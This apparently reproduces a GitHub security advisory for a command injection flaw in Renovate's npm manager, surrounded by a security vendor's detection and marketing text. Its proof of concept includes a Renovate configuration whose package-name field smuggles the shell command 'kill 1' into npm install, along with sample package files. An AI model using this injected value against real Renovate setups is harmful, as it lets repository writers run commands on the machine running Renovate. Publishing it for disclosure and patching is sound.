Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-fr4j-65pv-gjjj

MEDIUM

Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration

Published
Jan 13, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
📦renovate

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.

Details

Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code. The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.

PoC

  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: ["npm"],
      // Provide a command in the package name
      overridePackageName: "; kill 1; echo ",
      // Override the datasource to prevent a lookup failure
      overrideDatasource: "custom.always",
    },
  ],
}

package.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "dependencies": {
    "uuid": "^11.0.0"
  }
}

package-lock.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "lockfileVersion": 3,
  "requires": true,
  "packages": {
    "": {
      "name": "renovate-aci-4",
      "version": "0.0.1",
      "dependencies": {
        "uuid": "^11.0.0"
      }
    },
    "node_modules/uuid": {
      "version": "11.0.0",
      "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
      "integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
      "funding": [
        "https://github.com/sponsors/broofa",
        "https://github.com/sponsors/ctavan"
      ],
      "license": "MIT",
      "bin": {
        "uuid": "dist/esm/bin/uuid"
      }
    }
  }
}

  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

[!NOTE] This specific proof of concept relies on the introduction of the overrideDatasource and overridePackageName configuration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmrenovate35.63.0&&< 40.33.040.33.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update renovate to 40.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fr4j-65pv-gjjj is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fr4j-65pv-gjjj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fr4j-65pv-gjjj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The user-provided string `packageName` in the `npm` manager is appended to the `npm install` command during lock maintenance without proper sanitization. ### Details Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code. The user-provided workspace names and package keys that are added to the `updateCmd` variables in [lib/modules/manager/npm/post-update/npm.ts](https://github.com/renovatebot/renovate/blob/5bdaf47eebde770107017c47557bca41189db588/lib/modules/manager/npm/post-update/npm.ts) are not being escaped using
O3 Security · Impact-Aware SCA

Is GHSA-fr4j-65pv-gjjj in your dependencies?

O3 detects GHSA-fr4j-65pv-gjjj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.